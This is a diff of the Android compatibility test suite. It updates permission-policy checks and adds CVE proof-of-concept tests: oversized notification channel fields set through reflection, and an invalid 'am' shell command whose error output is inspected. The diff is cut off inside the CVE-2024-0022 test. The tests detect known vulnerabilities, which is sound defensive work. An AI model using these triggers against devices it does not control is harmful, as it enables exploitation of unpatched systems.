diff --git a/tests/tests/permissionpolicy/src/android/permissionpolicy/cts/PermissionPolicyTest.java b/tests/tests/permissionpolicy/src/android/permissionpolicy/cts/PermissionPolicyTest.java
index 6789792..1744faa 100644
--- a/tests/tests/permissionpolicy/src/android/permissionpolicy/cts/PermissionPolicyTest.java
+++ b/tests/tests/permissionpolicy/src/android/permissionpolicy/cts/PermissionPolicyTest.java
@@ -17,6 +17,9 @@
 package android.permissionpolicy.cts;
 
 import static android.content.pm.PermissionInfo.FLAG_INSTALLED;
+import static android.content.pm.PermissionInfo.PROTECTION_FLAG_MODULE;
+import static android.content.pm.PermissionInfo.PROTECTION_FLAG_PRIVILEGED;
+import static android.content.pm.PermissionInfo.PROTECTION_FLAG_ROLE;
 import static android.content.pm.PermissionInfo.PROTECTION_MASK_BASE;
 import static android.os.Build.VERSION.SECURITY_PATCH;
 
@@ -54,6 +57,7 @@
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
 import java.util.Date;
+import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
@@ -65,16 +69,60 @@
 @AppModeFull(reason = "Instant apps cannot read the system servers permission")
 @RunWith(AndroidJUnit4.class)
 public class PermissionPolicyTest {
-    private static final Date HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE = parseDate("2017-11-01");
-    private static final String HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION
+    private static final String ACCESS_SMARTSPACE = "android.permission.ACCESS_SMARTSPACE";
+    private static final String ACCESSIBILITY_MOTION_EVENT_OBSERVING =
+            "android.permission.ACCESSIBILITY_MOTION_EVENT_OBSERVING";
+    private static final String ALWAYS_UPDATE_WALLPAPER =
+            "android.permission.ALWAYS_UPDATE_WALLPAPER";
+    private static final String CAMERA_HEADLESS_SYSTEM_USER =
+            "android.permission.CAMERA_HEADLESS_SYSTEM_USER";
+    private static final String CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS =
+            "android.permission.CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS";
+    private static final String GET_BINDING_UID_IMPORTANCE =
+            "android.permission.GET_BINDING_UID_IMPORTANCE";
+    private static final String HIDE_NON_SYSTEM_OVERLAY_WINDOWS
             = "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
+    private static final String INTERNAL_SYSTEM_WINDOW =
+            "android.permission.INTERNAL_SYSTEM_WINDOW";
+    private static final String LAUNCH_PERMISSION_SETTINGS =
+            "android.permission.LAUNCH_PERMISSION_SETTINGS";
+    private static final String MANAGE_COMPANION_DEVICES =
+            "android.permission.MANAGE_COMPANION_DEVICES";
+    private static final String MANAGE_DISPLAYS = "android.permission.MANAGE_DISPLAYS";
+    private static final String MANAGE_REMOTE_AUTH = "android.permission.MANAGE_REMOTE_AUTH";
+    private static final String MEDIA_ROUTING_CONTROL = "android.permission.MEDIA_ROUTING_CONTROL";
+    private static final String MODIFY_DAY_NIGHT_MODE = "android.permission.MODIFY_DAY_NIGHT_MODE";
+    private static final String OBSERVE_APP_USAGE = "android.permission.OBSERVE_APP_USAGE";
+    private static final String OVERRIDE_SYSTEM_KEY_BEHAVIOR_IN_FOCUSED_WINDOW =
+            "android.permission.OVERRIDE_SYSTEM_KEY_BEHAVIOR_IN_FOCUSED_WINDOW";
+    private static final String PREPARE_FACTORY_RESET = "android.permission.PREPARE_FACTORY_RESET";
+    private static final String QUARANTINE_APPS = "android.permission.QUARANTINE_APPS";
+    private static final String READ_DROPBOX_DATA = "android.permission.READ_DROPBOX_DATA";
+    private static final String RECEIVE_SANDBOX_TRIGGER_AUDIO =
+            "android.permission.RECEIVE_SANDBOX_TRIGGER_AUDIO";
+    private static final String RECEIVE_SANDBOXED_DETECTION_TRAINING_DATA =
+            "android.permission.RECEIVE_SANDBOXED_DETECTION_TRAINING_DATA";
+    private static final String REGISTER_NSD_OFFLOAD_ENGINE =
+            "android.permission.REGISTER_NSD_OFFLOAD_ENGINE";
+    private static final String REPORT_USAGE_STATS = "android.permission.REPORT_USAGE_STATS";
+    private static final String RESET_HOTWORD_TRAINING_DATA_EGRESS_COUNT =
+            "android.permission.RESET_HOTWORD_TRAINING_DATA_EGRESS_COUNT";
+    private static final String SHOW_CUSTOMIZED_RESOLVER =
+            "android.permission.SHOW_CUSTOMIZED_RESOLVER";
+    private static final String START_ACTIVITIES_FROM_SDK_SANDBOX =
+            "android.permission.START_ACTIVITIES_FROM_SDK_SANDBOX";
+    private static final String STATUS_BAR_SERVICE = "android.permission.STATUS_BAR_SERVICE";
+    private static final String SUSPEND_APPS = "android.permission.SUSPEND_APPS";
+    private static final String SYNC_FLAGS = "android.permission.SYNC_FLAGS";
+    private static final String THREAD_NETWORK_PRIVILEGED =
+            "android.permission.THREAD_NETWORK_PRIVILEGED";
+    private static final String USE_COMPANION_TRANSPORTS =
+            "android.permission.USE_COMPANION_TRANSPORTS";
+    private static final String USE_REMOTE_AUTH = "android.permission.USE_REMOTE_AUTH";
+    private static final String WRITE_FLAGS = "android.permission.WRITE_FLAGS";
 
+    private static final Date HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE = parseDate("2017-11-01");
     private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
-    private static final String MANAGE_COMPANION_DEVICES_PERMISSION
-            = "android.permission.MANAGE_COMPANION_DEVICES";
-
-    private static final String SYNC_FLAGS_PERMISSION = "android.permission.SYNC_FLAGS";
-    private static final String WRITE_FLAGS_PERMISSION = "android.permission.WRITE_FLAGS";
 
     private static final String LOG_TAG = "PermissionProtectionTest";
 
@@ -91,14 +139,38 @@
     private static final String ATTR_PROTECTION_LEVEL = "protectionLevel";
     private static final String ATTR_BACKGROUND_PERMISSION = "backgroundPermission";
 
-    private static final String OBSERVE_APP_USAGE_PERMISSION =
-            "android.permission.OBSERVE_APP_USAGE";
-    private static final String MODIFY_DAY_NIGHT_MODE_PERMISSION =
-            "android.permission.MODIFY_DAY_NIGHT_MODE";
-
     private static final Context sContext =
             InstrumentationRegistry.getInstrumentation().getTargetContext();
 
+    /** Permissions added in U QPR 2. */
+    private static final ArraySet<String> permissionsAddedInUqpr2 = new ArraySet<>(
+            new String[]{ACCESS_SMARTSPACE, ACCESSIBILITY_MOTION_EVENT_OBSERVING,
+                    ALWAYS_UPDATE_WALLPAPER, CAMERA_HEADLESS_SYSTEM_USER,
+                    GET_BINDING_UID_IMPORTANCE, LAUNCH_PERMISSION_SETTINGS, MANAGE_DISPLAYS,
+                    MANAGE_REMOTE_AUTH, MEDIA_ROUTING_CONTROL,
+                    OVERRIDE_SYSTEM_KEY_BEHAVIOR_IN_FOCUSED_WINDOW, PREPARE_FACTORY_RESET,
+                    READ_DROPBOX_DATA, RECEIVE_SANDBOX_TRIGGER_AUDIO,
+                    RECEIVE_SANDBOXED_DETECTION_TRAINING_DATA, REGISTER_NSD_OFFLOAD_ENGINE,
+                    REPORT_USAGE_STATS, RESET_HOTWORD_TRAINING_DATA_EGRESS_COUNT,
+                    START_ACTIVITIES_FROM_SDK_SANDBOX, SHOW_CUSTOMIZED_RESOLVER, SYNC_FLAGS,
+                    THREAD_NETWORK_PRIVILEGED, USE_COMPANION_TRANSPORTS, USE_REMOTE_AUTH,
+                    QUARANTINE_APPS, WRITE_FLAGS});
+
+    /**
+     * Map of permissions to their protection flags in U and U QPR 1, for permissions that had their
+     * protection flags expanded in U QPR 2.
+     */
+    private static final Map<String, Integer> permissionsToLegacyProtection = new HashMap<>() {
+        {
+            put(CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS, PROTECTION_FLAG_PRIVILEGED);
+            put(INTERNAL_SYSTEM_WINDOW, PROTECTION_FLAG_MODULE);
+            put(MODIFY_DAY_NIGHT_MODE, PROTECTION_FLAG_PRIVILEGED);
+            put(OBSERVE_APP_USAGE, PROTECTION_FLAG_PRIVILEGED);
+            put(STATUS_BAR_SERVICE, 0x0);
+            put(SUSPEND_APPS, PROTECTION_FLAG_ROLE);
+        }
+    };
+
     @Test
     public void shellIsOnlySystemAppThatRequestsRevokePostNotificationsWithoutKill() {
         List<PackageInfo> pkgs = sContext.getPackageManager().getInstalledPackages(
@@ -185,8 +257,15 @@
             // OEMs cannot remove permissions
             PermissionInfo declaredPermission = declaredPermissionsMap.get(expectedPermissionName);
             if (declaredPermission == null) {
-                offendingList.add("Permission " + expectedPermissionName + " must be declared");
-                continue;
+                // If expected permission is not found, it is possible that this build doesn't yet
+                // contain certain new permissions added in U QPR 2, in which case we skip the
+                // check.
+                if (permissionsAddedInUqpr2.contains(expectedPermissionName)) {
+                    continue;
+                } else {
+                    offendingList.add("Permission " + expectedPermissionName + " must be declared");
+                    continue;
+                }
             }
 
             // We want to end up with OEM defined permissions and groups to check their namespace
@@ -221,12 +300,21 @@
                     expectedPermission.protectionLevel & ~PROTECTION_MASK_BASE;
             final int declaredProtectionFlags = declaredPermission.getProtectionFlags();
             if (expectedProtectionFlags != declaredProtectionFlags) {
-                offendingList.add(
+                // If expected and declared protection flags do not match, it is possible that
+                // this build doesn't yet contain certain protection flags expanded in U QPR 2,
+                // in which case we check that the declared protection flags match those in U
+                // or U QPR 1.
+                if (permissionsToLegacyProtection.getOrDefault(expectedPermissionName, -1)
+                        == declaredProtectionFlags) {
+                    continue;
+                } else {
+                    offendingList.add(
                         String.format(
                                 "Permission %s invalid enforced protection %x, expected %x",
                                 expectedPermissionName,
                                 declaredProtectionFlags,
                                 expectedProtectionFlags));
+                }
             }
 
             // OEMs cannot change permission grouping
@@ -513,16 +601,10 @@
 
     private boolean shouldSkipPermission(String permissionName) {
         switch (permissionName) {
-            case SYNC_FLAGS_PERMISSION:
-            case WRITE_FLAGS_PERMISSION:
-                return true;  // Added in u-qpr.
-            case HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION:
+            case HIDE_NON_SYSTEM_OVERLAY_WINDOWS:
                 return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
-            case MANAGE_COMPANION_DEVICES_PERMISSION:
+            case MANAGE_COMPANION_DEVICES:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
-            case OBSERVE_APP_USAGE_PERMISSION:
-            case MODIFY_DAY_NIGHT_MODE_PERMISSION:
-                return true;
             default:
                 return false;
         }
diff --git a/tests/tests/sdksandbox/webkit/src/android/sdksandbox/webkit/cts/WebViewSandboxTestRule.java b/tests/tests/sdksandbox/webkit/src/android/sdksandbox/webkit/cts/WebViewSandboxTestRule.java
index cc9e422..125c46b 100644
--- a/tests/tests/sdksandbox/webkit/src/android/sdksandbox/webkit/cts/WebViewSandboxTestRule.java
+++ b/tests/tests/sdksandbox/webkit/src/android/sdksandbox/webkit/cts/WebViewSandboxTestRule.java
@@ -54,8 +54,21 @@
 
     @Override
     public Statement apply(final Statement base, final Description description) {
+        // If WebView is not available, simply skip loading the SDK and then throw an assumption
+        // failure for each test run attempt.
+        // We can't throw the assumptions in the apply because WebViewSandboxTestRule can be used as
+        // a class rule.
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return base;
+        }
+
+        return super.apply(base, description);
+    }
+
+    @Override
+    public void assertSdkTestRunPasses(String testMethodName, Bundle params) throws Throwable {
         // This will prevent shared webview tests from running if a WebView provider does not exist.
         Assume.assumeTrue("WebView is not available", NullWebViewUtils.isWebViewAvailable());
-        return super.apply(base, description);
+        super.assertSdkTestRunPasses(testMethodName, params);
     }
 }
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 1bca40a..ef11ad1 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -261,7 +261,6 @@
         "androidx.test.rules",
         "androidx.test.runner",
         "android-common",
-        "ctstestserver",
         "ctstestrunner-axt",
         "cts-install-lib",
         "compatibility-device-util-axt",
@@ -271,31 +270,15 @@
         "permission-test-util-lib",
         "sts-device-util",
         "hamcrest-library",
-        "NeneInternal",
     ],
     libs: [
         "android.test.runner",
         "org.apache.http.legacy",
         "android.test.base",
     ],
-    jni_libs: [
-        "libctssecurity_jni",
-        "libcts_jni",
-        "libnativehelper_compat_libc++",
-        "libnativehelper",
-        "libcutils",
-        "libcrypto",
-        "libselinux",
-        "libc++",
-        "libpcre2",
-        "libpackagelistparser",
-        "libcve_2019_2213_jni",
-    ],
-    host_required: ["CtsBackupHostTestCases"],
     srcs: [
         "src/android/security/cts/PackageSignatureTest.java",
     ],
-    platform_apis: true,
     // Tag this module as a gts test artifact
     test_suites: [
         "gts",
@@ -305,4 +288,7 @@
     per_testcase_directory: true,
     test_config: "AndroidTest_PackageSignatureTest.xml",
     manifest: "AndroidManifest_PackageSignatureTest.xml",
+    min_sdk_version: "30",
+    sdk_version: "system_34",
+    target_sdk_version: "34",
 }
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index f8d882b..afa361a 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -41,6 +41,9 @@
      <!-- CVE-2023-21143 -->
     <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
 
+    <!-- CVE-2024-0022 -->
+    <uses-feature android:name="android.software.companion_device_setup" />
+
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner"/>
         <uses-library android:name="org.apache.http.legacy"
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20485.java b/tests/tests/security/src/android/security/cts/CVE_2022_20485.java
new file mode 100644
index 0000000..6773248
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20485.java
@@ -0,0 +1,403 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This CTS test has been created taking reference from the tests present in
+// frameworks/base/core/tests/coretests/src/android/app/NotificationChannelGroupTest.java
+// frameworks/base/core/tests/coretests/src/android/app/NotificationChannelTest.java
+
+package android.security.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.text.TextUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20485 extends StsExtraBusinessLogicTestCase {
+    private static final int INPUT_STRING_LENGTH = 2000;
+    private static final int INPUT_VIBRATION_LENGTH = 2000;
+    private static final String NOTIFICATION_CHANNEL_GROUPID = "groupId";
+    private static final String NOTIFICATION_CHANNEL_GROUPNAME = "groupName";
+    private static final String NOTIFICATION_CHANNEL_ID = "id";
+    private static final String NOTIFICATION_CHANNEL_NAME = "name";
+    private static final String mLongString =
+            String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+    private Uri mLongUri;
+
+    private List<String> testLongStringFieldsNotificationChannelGroup(
+            String mLongString, boolean checkId, boolean checkName, boolean checkDesc)
+            throws Exception {
+        List<String> violations = new ArrayList<String>();
+        String tag = "testLongStringFieldsNotificationChannelGroup() ";
+        String className = "android.app.NotificationChannelGroup";
+        NotificationChannelGroup group =
+                new NotificationChannelGroup(
+                        NOTIFICATION_CHANNEL_GROUPID, NOTIFICATION_CHANNEL_GROUPNAME);
+        if (checkId) {
+            Field id = Class.forName(className).getDeclaredField("mId");
+            id.setAccessible(true);
+            id.set(group, mLongString);
+        }
+        if (checkName) {
+            Field name = Class.forName(className).getDeclaredField("mName");
+            name.setAccessible(true);
+            name.set(group, mLongString);
+        }
+        if (checkDesc) {
+            Field description = Class.forName(className).getDeclaredField("mDescription");
+            description.setAccessible(true);
+            description.set(group, mLongString);
+        }
+        Parcel parcel = Parcel.obtain();
+        group.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationChannelGroup fromParcel =
+                NotificationChannelGroup.CREATOR.createFromParcel(parcel);
+        if (checkId && INPUT_STRING_LENGTH <= fromParcel.getId().length()) {
+            violations.add(tag + "input string length <= Parcel ID length");
+        }
+        if (checkName && INPUT_STRING_LENGTH <= fromParcel.getName().length()) {
+            violations.add(tag + "input string length <= Parcel name length");
+        }
+        if (checkDesc && INPUT_STRING_LENGTH <= fromParcel.getDescription().length()) {
+            violations.add(tag + "input string length <= Parcel Description length");
+        }
+        return violations;
+    }
+
+    private List<String> testNullableFields(boolean checkId, boolean checkName) throws Exception {
+        String tag = "testNullableFields() ";
+        List<String> violations = new ArrayList<String>();
+        NotificationChannelGroup group =
+                new NotificationChannelGroup(NOTIFICATION_CHANNEL_GROUPID, null);
+        Parcel parcel = Parcel.obtain();
+        group.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationChannelGroup fromParcel =
+                NotificationChannelGroup.CREATOR.createFromParcel(parcel);
+        if (checkId && group.getId() == fromParcel.getId()) {
+            violations.add(tag + "group ID == Parcel ID");
+        }
+        if (checkName && !TextUtils.isEmpty(fromParcel.getName())) {
+            violations.add(tag + "parcel name is not empty");
+        }
+        return violations;
+    }
+
+    private List<String> testLongStringFieldsNotificationChannel(
+            String mLongString,
+            boolean checkId,
+            boolean checkName,
+            boolean checkDesc,
+            boolean checkGroup,
+            boolean checkConvId)
+            throws Exception {
+        List<String> violations = new ArrayList<String>();
+        String tag = "testLongStringFieldsNotificationChannel() ";
+        String className = "android.app.NotificationChannel";
+        NotificationChannel channel =
+                new NotificationChannel(
+                        NOTIFICATION_CHANNEL_ID,
+                        NOTIFICATION_CHANNEL_NAME,
+                        NotificationManager.IMPORTANCE_DEFAULT);
+        Field parentId = Class.forName(className).getDeclaredField("mParentId");
+        parentId.setAccessible(true);
+        parentId.set(channel, mLongString);
+        if (checkId) {
+            Field id = Class.forName(className).getDeclaredField("mId");
+            id.setAccessible(true);
+            id.set(channel, mLongString);
+        }
+        if (checkName) {
+            Field name = Class.forName(className).getDeclaredField("mName");
+            name.setAccessible(true);
+            name.set(channel, mLongString);
+        }
+        if (checkDesc) {
+            Field desc = Class.forName(className).getDeclaredField("mDesc");
+            desc.setAccessible(true);
+            desc.set(channel, mLongString);
+        }
+        if (checkGroup) {
+            Field group = Class.forName(className).getDeclaredField("mGroup");
+            group.setAccessible(true);
+            group.set(channel, mLongString);
+        }
+        if (checkConvId) {
+            Field conversationId = Class.forName(className).getDeclaredField("mConversationId");
+            conversationId.setAccessible(true);
+            conversationId.set(channel, mLongString);
+        }
+        Parcel parcel = Parcel.obtain();
+        channel.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationChannel fromParcel = NotificationChannel.CREATOR.createFromParcel(parcel);
+        if (checkId && INPUT_STRING_LENGTH <= fromParcel.getId().length()) {
+            violations.add(tag + "input string length <= Parcel ID length");
+        }
+        if (checkName && INPUT_STRING_LENGTH <= fromParcel.getName().length()) {
+            violations.add(tag + "input string length <= Parcel name length");
+        }
+        if (checkDesc && INPUT_STRING_LENGTH <= fromParcel.getDescription().length()) {
+            violations.add(tag + "input string length <= Parcel Description length");
+        }
+        if (checkGroup && INPUT_STRING_LENGTH <= fromParcel.getGroup().length()) {
+            violations.add(tag + "input string length <= Parcel group length");
+        }
+        if (checkConvId && INPUT_STRING_LENGTH <= fromParcel.getConversationId().length()) {
+            violations.add(tag + "input string length <= Parcel conversationId length");
+        }
+        return violations;
+    }
+
+    private List<String> testLongAlertFields(
+            String mLongString, boolean checkVibration, boolean checkSound) throws Exception {
+        String tag = "testLongAlertFields() ";
+        List<String> violations = new ArrayList<String>();
+        NotificationChannel channel =
+                new NotificationChannel(
+                        NOTIFICATION_CHANNEL_ID,
+                        NOTIFICATION_CHANNEL_NAME,
+                        NotificationManager.IMPORTANCE_DEFAULT);
+        if (checkVibration) {
+            channel.setVibrationPattern(new long[INPUT_VIBRATION_LENGTH]);
+        }
+        if (checkSound) {
+            channel.setSound(mLongUri, Notification.AUDIO_ATTRIBUTES_DEFAULT);
+        }
+        Parcel parcel = Parcel.obtain();
+        channel.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationChannel fromParcel = NotificationChannel.CREATOR.createFromParcel(parcel);
+        if (checkVibration && INPUT_STRING_LENGTH <= fromParcel.getVibrationPattern().length) {
+            violations.add(tag + "input string length <= Parcel vibration length");
+        }
+        if (checkSound
+                && mLongUri.toString().length() <= fromParcel.getSound().toString().length()) {
+            violations.add(tag + "longUri string length <= Parcel sound length");
+        }
+        return violations;
+    }
+
+    @AsbSecurityTest(cveBugId = 241764135)
+    @Test
+    public void testPocCVE_2022_20478() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannelGroup(
+                            mLongString,
+                            true /* checkId */,
+                            false /* checkName */,
+                            false /* checkDesc */);
+            List<String> violationsTestNullableFields =
+                    testNullableFields(true /* checkId */, false /* checkName */);
+            violations.addAll(violationsTestNullableFields);
+            assertWithMessage(
+                            "Device is vulnerable to : b/241764135(CVE-2022-20478) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 241764340)
+    @Test
+    public void testPocCVE_2022_20479() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannelGroup(
+                            mLongString,
+                            false /* checkId */,
+                            false /* checkName */,
+                            true /* checkDesc */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/241764340 (CVE-2022-20479) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 241764350)
+    @Test
+    public void testPocCVE_2022_20480() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannelGroup(
+                            mLongString,
+                            false /* checkId */,
+                            true /* checkName */,
+                            false /* checkDesc */);
+            List<String> violationsTestNullableFields =
+                    testNullableFields(false /* checkId */, true /* checkName */);
+            violations.addAll(violationsTestNullableFields);
+            assertWithMessage(
+                            "Device is vulnerable to : b/241764350(CVE-2022-20480) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 242702851)
+    @Test
+    public void testPocCVE_2022_20484() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannel(
+                            mLongString,
+                            false /* checkId */,
+                            true /* checkName */,
+                            false /* checkDesc */,
+                            false /* checkGroup */,
+                            false /* checkConvId */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/242702851(CVE-2022-20484) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 242702935)
+    @Test
+    public void testPocCVE_2022_20485() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannel(
+                            mLongString,
+                            false /* checkId */,
+                            false /* checkName */,
+                            false /* checkDesc */,
+                            false /* checkGroup */,
+                            true /* checkConvId */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/242702935(CVE-2022-20485) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 242703118)
+    @Test
+    public void testPocCVE_2022_20486() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannel(
+                            mLongString,
+                            false /* checkId */,
+                            false /* checkName */,
+                            true /* checkDesc */,
+                            false /* checkGroup */,
+                            false /* checkConvId */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/242703118(CVE-2022-20486) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 242703202)
+    @Test
+    public void testPocCVE_2022_20487() {
+        try {
+            mLongUri = Uri.parse("condition://" + mLongString);
+            List<String> violations =
+                    testLongAlertFields(
+                            mLongString, false /* checkVibration */, true /* checkSound */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/242703202(CVE-2022-20487) due to :"
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 242703217)
+    @Test
+    public void testPocCVE_2022_20488() {
+        try {
+            List<String> violations =
+                    testLongStringFieldsNotificationChannel(
+                            mLongString,
+                            true /* checkId */,
+                            false /* checkName */,
+                            false /* checkDesc */,
+                            false /* checkGroup */,
+                            false /* checkConvId */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/242703217(CVE-2022-20488) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 242703556)
+    @Test
+    public void testPocCVE_2022_20491() {
+        try {
+            mLongUri = Uri.parse("condition://" + mLongString);
+            List<String> violations =
+                    testLongAlertFields(
+                            mLongString, true /* checkVibration */, false /* checkSound */);
+            assertWithMessage(
+                            "Device is vulnerable to : b/242703556(CVE-2022-20491) due to : "
+                                    + violations)
+                    .that(violations.isEmpty())
+                    .isTrue();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_40099.java b/tests/tests/security/src/android/security/cts/CVE_2023_40099.java
new file mode 100644
index 0000000..f6f85f0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_40099.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import com.google.common.io.ByteStreams;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_40099 extends StsExtraBusinessLogicTestCase {
+
+    @AsbSecurityTest(cveBugId = 261709193)
+    @Test
+    public void testPocCVE_2023_40099() {
+        try {
+            // Execute an invalid shell command
+            Process process = Runtime.getRuntime().exec("am start-activity");
+
+            // Fetch the output of the executed command
+            String stdErrorOutput = new String(ByteStreams.toByteArray(process.getErrorStream()));
+
+            // Without fix, the invalid shell command gets executed and throws
+            // 'IllegalArgumentException'
+            final String targetMethod =
+                    "com.android.server.am.ActivityManagerService.onShellCommand";
+            assertWithMessage("Device is vulnerable to b/261709193")
+                    .that(
+                            stdErrorOutput.contains(IllegalArgumentException.class.getName())
+                                    && stdErrorOutput.contains(targetMethod))
+                    .isFalse();
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2024_0022.java b/tests/tests/security/src/android/security/cts/CVE_2024_0022.java
new file mode 100644
index 0000000..d90d5e1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2024_0022.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.companion.ICompanionDeviceManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.ServiceManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2024_0022 extends StsExtraBusinessLogicTestCase {
+
+    @AsbSecurityTest(cveBugId = 298635078)
+    @Test
+    public void testPocCVE_2024_0022() {
+        try {
+            ICompanionDeviceManager service =
